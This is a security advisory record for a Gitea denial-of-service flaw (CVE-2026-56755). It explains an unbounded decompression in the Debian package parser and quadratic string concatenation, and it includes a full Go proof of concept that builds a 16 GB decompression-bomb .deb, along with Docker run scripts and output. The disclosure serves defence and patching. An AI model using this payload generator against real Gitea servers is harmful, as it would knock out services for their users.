{"id":"CVE-2026-56755","aliases":["GHSA-6hm7-3pwj-22rm"],"title":"Gitea: Denial of Service (CPU & Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload","summary":"Gitea: Denial of Service (CPU & Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload","severity":"high","cwe":["CWE-409"],"vendor":"gitea","product":"code.gitea.io/gitea","ecosystem":"go","affected":["code.gitea.io/gitea < 1.27.0"],"patched":["code.gitea.io/gitea 1.27.0"],"published":"2026-07-21","updated":"2026-07-21","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-6hm7-3pwj-22rm","references":[{"url":"https://github.com/go-gitea/gitea/security/advisories/GHSA-6hm7-3pwj-22rm"},{"url":"https://github.com/go-gitea/gitea/pull/38406"},{"url":"https://github.com/go-gitea/gitea/pull/38426"},{"url":"https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"},{"url":"https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf"},{"url":"https://github.com/go-gitea/gitea/releases/tag/v1.27.0"},{"url":"https://github.com/advisories/GHSA-6hm7-3pwj-22rm"}],"tags":["ghsa","go"],"ingestedAt":"2026-07-21T20:54:27.129Z","epss":0.00183,"epssPercentile":0.08118,"slug":"CVE-2026-56755","body":"## Overview\n\nGitea's Debian package registry parser contains an unbounded decompression vulnerability in [ParseControlFile](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/modules/packages/debian/metadata.go#L140). When processing an uploaded `.deb` file, the parser decompresses `control.tar.gz` and copies the entire uncompressed stream into a `strings.Builder` via a `TeeReader`, with no limit on how much data is read. Because `DEFLATE` compression can achieve ratios exceeding 100:1 on repetitive input, an attacker can craft an 83 MB `.deb` payload that expands to over 16 GB during parsing, exhausting server memory before any content validation runs. A second issue compounds this: continuation lines in the Description field are concatenated with `+=` at [modules/packages/debian/metadata.go:161](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/modules/packages/debian/metadata.go#L161) inside a loop, producing `O(N²)` allocation and copy work that stalls the CPU even at moderate line counts. Any authenticated user with write access to the package registry can trigger a complete denial of service with a single upload request to the handler at [routers/api/packages/debian/debian.go:146](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/routers/api/packages/debian/debian.go#L146).\n\n### Root Cause\n\nThere are two distinct root causes that can be exploited independently or together.\n\n**1. Unbounded decompression (decompression bomb)**\nParsePackage wraps the control.tar member in a decompressor but never constrains how many bytes that decompressor is allowed to produce:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L88-L110\n\nThe resulting inner reader is passed directly to the tar reader, and from there to `ParseControlFile`. Inside `ParseControlFile`,\nevery byte that the `bufio.Scanner` reads from the decompressed stream is simultaneously written into an unbounded\n`strings.Builder` via `io.TeeReader`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L147-L150\n\nThere is no call to io.LimitReader at any point in this chain. Other package format parsers in the same codebase — pub, conan, and cargo — all wrap their readers with `io.LimitReader` before consuming them. The Debian parser does not, making it the only one in the registry vulnerable to this class of attack.\n\n**2. O(N²) string concatenation**\nFor each continuation line belonging to the Description field, the parser appends to a plain string with +=:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L158-L164\n\nBecause Go strings are immutable, every `+=` allocates a new backing array and copies the entire accumulated description into it. A description with N continuation lines triggers O(N²) total bytes of allocation and copying. At 500 000 lines this produces roughly 250 GB of cumulative copy work, saturating a CPU core and driving the GC into a tight collection loop regardless of available RAM.\n\n### Reproducing\nI have reproduced the issue in a Docker container with the following PoC. It may need tweaks based on the memory you are reproducing it with. \n\nThis has been reproduced on commit `9155a81b9daf1d46b2380aa91271e623ac947c1e`.\n\nAll the files go in the gitea file directory. \n\n`cmd/poc/main.go`\n```go\npackage main\n\nimport (\n\t\"archive/tar\"\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/blakesmith/ar\"\n\n\tdebian_module \"gitea.dev/modules/packages/debian\"\n)\n\n// targetUncompressed is the desired size of the uncompressed control file.\n// Set comfortably above the 12 GB container limit so the OOM kill is reliable.\nconst targetUncompressed = 15 * 1024 * 1024 * 1024 // 15 GB\n\n// padLine is the filler field written after the required package fields.\n// Using an unknown field key (\"X\") means the parser discards the value but the\n// TeeReader still copies every byte into control.Builder — that is the bug.\n// Unlike Description continuation lines this does NOT trigger the O(N²) path,\n// so memory exhaustion is purely linear and fast.\nconst padLine = \"X: a\\n\" // 5 bytes\n\n// controlHeader is a minimal valid Debian control file preamble.\nconst controlHeader = \"Package: evil\\n\" +\n\t\"Version: 1.0\\n\" +\n\t\"Architecture: amd64\\n\" +\n\t\"Maintainer: Evil Hacker <evil@evil.com>\\n\" +\n\t\"Description: exploit\\n\"\n\nfunc printMem() {\n\tvar m runtime.MemStats\n\truntime.ReadMemStats(&m)\n\t// Print RSS-equivalent (HeapSys + StackSys covers most process memory).\n\tfmt.Printf(\"[mem] HeapAlloc=%.2f GB  Sys=%.2f GB  TotalAlloc=%.2f GB\\n\",\n\t\tfloat64(m.HeapAlloc)/1e9,\n\t\tfloat64(m.Sys)/1e9,\n\t\tfloat64(m.TotalAlloc)/1e9,\n\t)\n}\n\n// buildControlTarGz streams a gzip-compressed tar archive containing a single\n// \"control\" entry whose uncompressed size is ~targetUncompressed bytes.\n// Writing is done in large batches so the loop itself is fast; gzip compresses\n// the repetitive content to a fraction of its original size.\nfunc buildControlTarGz(w io.Writer) error {\n\tgzw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"gzip.NewWriter: %w\", err)\n\t}\n\ttw := tar.NewWriter(gzw)\n\n\tnumPadLines := (targetUncompressed - len(controlHeader)) / len(padLine)\n\ttotalSize := int64(len(controlHeader)) + int64(numPadLines)*int64(len(padLine))\n\n\tif err := tw.WriteHeader(&tar.Header{\n\t\tName:     \"./control\",\n\t\tMode:     0o644,\n\t\tSize:     totalSize,\n\t\tModTime:  time.Now(),\n\t\tTypeflag: tar.TypeReg,\n\t}); err != nil {\n\t\treturn fmt.Errorf(\"tar WriteHeader: %w\", err)\n\t}\n\tif _, err := tw.Write([]byte(controlHeader)); err != nil {\n\t\treturn fmt.Errorf(\"write header: %w\", err)\n\t}\n\n\t// Write padLine in 5 MB batches (1 M lines × 5 bytes).\n\tconst batchLines = 1_000_000\n\tbatch := []byte(strings.Repeat(padLine, batchLines))\n\tfullBatches := numPadLines / batchLines\n\tremainder := numPadLines % batchLines\n\n\tfmt.Printf(\"  Streaming %d lines (%.1f GB) through gzip...\\n\",\n\t\tnumPadLines, float64(totalSize)/1e9)\n\n\tt0 := time.Now()\n\tfor i := range fullBatches {\n\t\tif _, err := tw.Write(batch); err != nil {\n\t\t\treturn fmt.Errorf(\"batch write: %w\", err)\n\t\t}\n\t\tif i%500 == 0 && i > 0 {\n\t\t\tpct := float64(i) / float64(fullBatches) * 100\n\t\t\tfmt.Printf(\"  ... %.0f%% (%.1fs)\\n\", pct, time.Since(t0).Seconds())\n\t\t}\n\t}\n\tif remainder > 0 {\n\t\tif _, err := tw.Write(batch[:remainder*len(padLine)]); err != nil {\n\t\t\treturn fmt.Errorf(\"remainder write: %w\", err)\n\t\t}\n\t}\n\n\tif err := tw.Close(); err != nil {\n\t\treturn fmt.Errorf(\"tar close: %w\", err)\n\t}\n\tif err := gzw.Close(); err != nil {\n\t\treturn fmt.Errorf(\"gzip close: %w\", err)\n\t}\n\tfmt.Printf(\"  Done in %.1fs\\n\", time.Since(t0).Seconds())\n\treturn nil\n}\n\n// buildDeb writes a complete .deb (ar archive) to w.  The control.tar.gz member\n// is the bomb; data.tar.gz is empty.\nfunc buildDeb(w io.Writer) error {\n\t// Buffer control.tar.gz first so we know its compressed size for the ar header.\n\tvar ctrlBuf bytes.Buffer\n\tfmt.Println(\"[phase 1] Generating control.tar.gz (compressed payload)...\")\n\tif err := buildControlTarGz(&ctrlBuf); err != nil {\n\t\treturn err\n\t}\n\tctrlBytes := ctrlBuf.Bytes()\n\tfmt.Printf(\"  control.tar.gz compressed size: %.2f MB\\n\", float64(len(ctrlBytes))/1e6)\n\n\t// Empty data.tar.gz\n\tvar dataBuf bytes.Buffer\n\tdgzw, _ := gzip.NewWriterLevel(&dataBuf, gzip.BestSpeed)\n\ttar.NewWriter(dgzw).Close()\n\tdgzw.Close()\n\tdataBytes := dataBuf.Bytes()\n\n\tarw := ar.NewWriter(w)\n\tif err := arw.WriteGlobalHeader(); err != nil {\n\t\treturn err\n\t}\n\tnow := time.Now()\n\n\tfor _, member := range []struct {\n\t\tname string\n\t\tdata []byte\n\t}{\n\t\t{\"debian-binary\", []byte(\"2.0\\n\")},\n\t\t{\"control.tar.gz\", ctrlBytes},\n\t\t{\"data.tar.gz\", dataBytes},\n\t} {\n\t\tif err := arw.WriteHeader(&ar.Header{\n\t\t\tName:    member.name,\n\t\t\tSize:    int64(len(member.data)),\n\t\t\tMode:    0o644,\n\t\t\tModTime: now,\n\t\t}); err != nil {\n\t\t\treturn fmt.Errorf(\"ar header %s: %w\", member.name, err)\n\t\t}\n\t\tif _, err := arw.Write(member.data); err != nil {\n\t\t\treturn fmt.Errorf(\"ar write %s: %w\", member.name, err)\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc main() {\n\tfmt.Println(\"=== Gitea Debian Parser — Decompression Bomb PoC ===\")\n\tfmt.Printf(\"Target uncompressed control file size: %.1f GB\\n\", float64(targetUncompressed)/1e9)\n\tfmt.Printf(\"Container memory limit: 12 GB\\n\\n\")\n\n\t// Background goroutine prints memory stats every 2 s.\n\tgo func() {\n\t\tfor range time.Tick(2 * time.Second) {\n\t\t\tprintMem()\n\t\t}\n\t}()\n\n\t// Phase 1 — create the payload and save it to a temp file.\n\t// Writing to disk keeps the ~200 MB compressed payload out of the heap\n\t// before we start the parse phase.\n\ttmp, err := os.CreateTemp(\"\", \"evil-*.deb\")\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"CreateTemp: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer os.Remove(tmp.Name())\n\tdefer tmp.Close()\n\n\tt0 := time.Now()\n\tif err := buildDeb(tmp); err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"buildDeb: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tsz, _ := tmp.Seek(0, io.SeekCurrent)\n\tfmt.Printf(\"\\nPayload .deb on disk: %.2f MB  (took %.1fs)\\n\\n\", float64(sz)/1e6, time.Since(t0).Seconds())\n\n\t// Phase 2 — call ParsePackage, mirroring UploadPackageFile at\n\t// routers/api/packages/debian/debian.go:146.\n\t// The TeeReader inside ParseControlFile (metadata.go:149) will copy the\n\t// entire 15 GB decompressed stream into control.Builder, exhausting the\n\t// 12 GB container limit and triggering an OOM kill.\n\tfmt.Println(\"[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...\")\n\tfmt.Println(\"          Memory will grow until the container is OOM-killed.\")\n\tprintMem()\n\n\tif _, err := tmp.Seek(0, io.SeekStart); err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"seek: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\n\tt1 := time.Now()\n\t_, parseErr := debian_module.ParsePackage(tmp)\n\t// We only reach here if ParsePackage returns before OOM (e.g. scanner error).\n\tfmt.Printf(\"\\nParsePackage returned after %.1fs: %v\\n\", time.Since(t1).Seconds(), parseErr)\n\tprintMem()\n}\n```\n\n`Dockerfile.poc`\n```docker\nFROM golang:1.26-bookworm AS builder\n\nWORKDIR /src\n# Copy the full repo so the PoC can import gitea.dev/modules/packages/debian\n# and github.com/blakesmith/ar via the existing go.mod/go.sum.\nCOPY . .\n\n# Build only the PoC binary; ignore the rest of the tree.\nRUN go build -o /poc ./cmd/poc/\n\n# ── runtime image ──────────────────────────────────────────────────────────────\nFROM debian:bookworm-slim\nCOPY --from=builder /poc /poc\nENTRYPOINT [\"/poc\"]\n```\n\nNow run the PoC in the Docker container with:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nIMAGE=gitea-debian-poc\n\necho \"=== Building Docker image ===\"\ndocker build -f Dockerfile.poc -t \"$IMAGE\" .\n\necho \"\"\necho \"=== Running PoC (memory limit: 12 GB) ===\"\necho \"    The container will be OOM-killed once memory is exhausted.\"\necho \"\"\n\n# --memory caps RSS; --memory-swap equal to --memory disables swap.\n# --oom-kill-disable is NOT set so the kernel OOM killer fires normally.\ndocker run --rm \\\n  --memory=12g \\\n  --memory-swap=12g \\\n  --name gitea-poc \\\n  \"$IMAGE\"\n\nEXIT=$?\necho \"\"\nif [ $EXIT -eq 137 ]; then\n  echo \"Container exited with code 137 (SIGKILL from OOM killer) — vulnerability confirmed.\"\nelse\n  echo \"Container exited with code $EXIT.\"\nfi\n```\n\nYou will see the following when running the container (see the heap allocation growing towards the end):\n\n```\n=== Building Docker image ===\nDEPRECATED: The legacy builder is deprecated and will be removed in a future release.\n            Install the buildx component to build images with BuildKit:\n            https://docs.docker.com/go/buildx/\n\nSending build context to Docker daemon  59.32MB\nStep 1/7 : FROM golang:1.26-bookworm AS builder\n ---> eafdda676c2e\nStep 2/7 : WORKDIR /src\n ---> Using cache\n ---> db52a8f73485\nStep 3/7 : COPY . .\n ---> Using cache\n ---> 4caf57c6e889\nStep 4/7 : RUN go build -o /poc ./cmd/poc/\n ---> Using cache\n ---> 286afcb05d0e\nStep 5/7 : FROM debian:bookworm-slim\n ---> f54f5c8e2e12\nStep 6/7 : COPY --from=builder /poc /poc\n ---> Using cache\n ---> d7d0b269df49\nStep 7/7 : ENTRYPOINT [\"/poc\"]\n ---> Using cache\n ---> b233faaad561\nSuccessfully built b233faaad561\nSuccessfully tagged gitea-debian-poc:latest\n\n=== Running PoC (memory limit: 12 GB) ===\n    The container will be OOM-killed once memory is exhausted.\n\n=== Gitea Debian Parser — Decompression Bomb PoC ===\nTarget uncompressed control file size: 16.1 GB\nContainer memory limit: 12 GB\n\n[phase 1] Generating control.tar.gz (compressed payload)...\n  Streaming 3221225450 lines (16.1 GB) through gzip...\n[mem] HeapAlloc=0.04 GB  Sys=0.08 GB  TotalAlloc=0.05 GB\n  ... 16% (2.1s)\n  ... 31% (3.9s)\n[mem] HeapAlloc=0.07 GB  Sys=0.11 GB  TotalAlloc=0.08 GB\n  ... 47% (5.8s)\n[mem] HeapAlloc=0.11 GB  Sys=0.18 GB  TotalAlloc=0.15 GB\n  ... 62% (7.4s)\n[mem] HeapAlloc=0.11 GB  Sys=0.18 GB  TotalAlloc=0.15 GB\n  ... 78% (9.0s)\n[mem] HeapAlloc=0.21 GB  Sys=0.31 GB  TotalAlloc=0.29 GB\n  ... 93% (10.8s)\n  Done in 11.5s\n  control.tar.gz compressed size: 83.07 MB\n\nPayload .deb on disk: 83.07 MB  (took 11.6s)\n\n[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...\n          Memory will grow until the container is OOM-killed.\n[mem] HeapAlloc=0.21 GB  Sys=0.31 GB  TotalAlloc=0.29 GB\n[mem] HeapAlloc=0.41 GB  Sys=0.44 GB  TotalAlloc=0.48 GB\n[mem] HeapAlloc=0.25 GB  Sys=0.61 GB  TotalAlloc=1.63 GB\n[mem] HeapAlloc=0.63 GB  Sys=0.97 GB  TotalAlloc=2.63 GB\n[mem] HeapAlloc=0.83 GB  Sys=1.52 GB  TotalAlloc=3.80 GB\n[mem] HeapAlloc=1.39 GB  Sys=2.00 GB  TotalAlloc=5.34 GB\n[mem] HeapAlloc=1.37 GB  Sys=2.00 GB  TotalAlloc=5.86 GB\n[mem] HeapAlloc=1.42 GB  Sys=2.60 GB  TotalAlloc=6.97 GB\n[mem] HeapAlloc=1.40 GB  Sys=3.35 GB  TotalAlloc=8.26 GB\n[mem] HeapAlloc=2.25 GB  Sys=3.36 GB  TotalAlloc=9.11 GB\n[mem] HeapAlloc=1.97 GB  Sys=4.28 GB  TotalAlloc=10.48 GB\n[mem] HeapAlloc=2.73 GB  Sys=4.29 GB  TotalAlloc=11.23 GB\n[mem] HeapAlloc=2.77 GB  Sys=5.45 GB  TotalAlloc=12.67 GB\n[mem] HeapAlloc=2.90 GB  Sys=5.45 GB  TotalAlloc=13.46 GB\n[mem] HeapAlloc=3.57 GB  Sys=5.46 GB  TotalAlloc=14.13 GB\n[mem] HeapAlloc=2.94 GB  Sys=5.46 GB  TotalAlloc=16.07 GB\n[mem] HeapAlloc=3.72 GB  Sys=5.47 GB  TotalAlloc=16.85 GB\n[mem] HeapAlloc=4.50 GB  Sys=5.48 GB  TotalAlloc=17.64 GB\n[mem] HeapAlloc=5.30 GB  Sys=7.28 GB  TotalAlloc=19.58 GB\n[mem] HeapAlloc=3.82 GB  Sys=7.28 GB  TotalAlloc=20.17 GB\n[mem] HeapAlloc=4.66 GB  Sys=7.29 GB  TotalAlloc=21.01 GB\n[mem] HeapAlloc=5.33 GB  Sys=7.29 GB  TotalAlloc=21.67 GB\n[mem] HeapAlloc=6.62 GB  Sys=9.56 GB  TotalAlloc=24.40 GB\n[mem] HeapAlloc=6.62 GB  Sys=9.56 GB  TotalAlloc=24.40 GB\n[mem] HeapAlloc=4.72 GB  Sys=9.56 GB  TotalAlloc=25.09 GB\n[mem] HeapAlloc=5.54 GB  Sys=9.56 GB  TotalAlloc=25.90 GB\n[mem] HeapAlloc=6.28 GB  Sys=9.57 GB  TotalAlloc=26.64 GB\n[mem] HeapAlloc=7.15 GB  Sys=9.59 GB  TotalAlloc=27.51 GB\n[mem] HeapAlloc=8.27 GB  Sys=12.40 GB  TotalAlloc=30.43 GB\n[mem] HeapAlloc=5.52 GB  Sys=12.40 GB  TotalAlloc=30.90 GB\n[mem] HeapAlloc=6.35 GB  Sys=12.40 GB  TotalAlloc=31.74 GB\n[mem] HeapAlloc=7.18 GB  Sys=12.40 GB  TotalAlloc=32.57 GB\n[mem] HeapAlloc=8.01 GB  Sys=12.41 GB  TotalAlloc=33.39 GB\n[mem] HeapAlloc=8.80 GB  Sys=12.43 GB  TotalAlloc=34.19 GB\n```\n\n## Affected packages\n\n- `code.gitea.io/gitea < 1.27.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `code.gitea.io/gitea 1.27.0`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}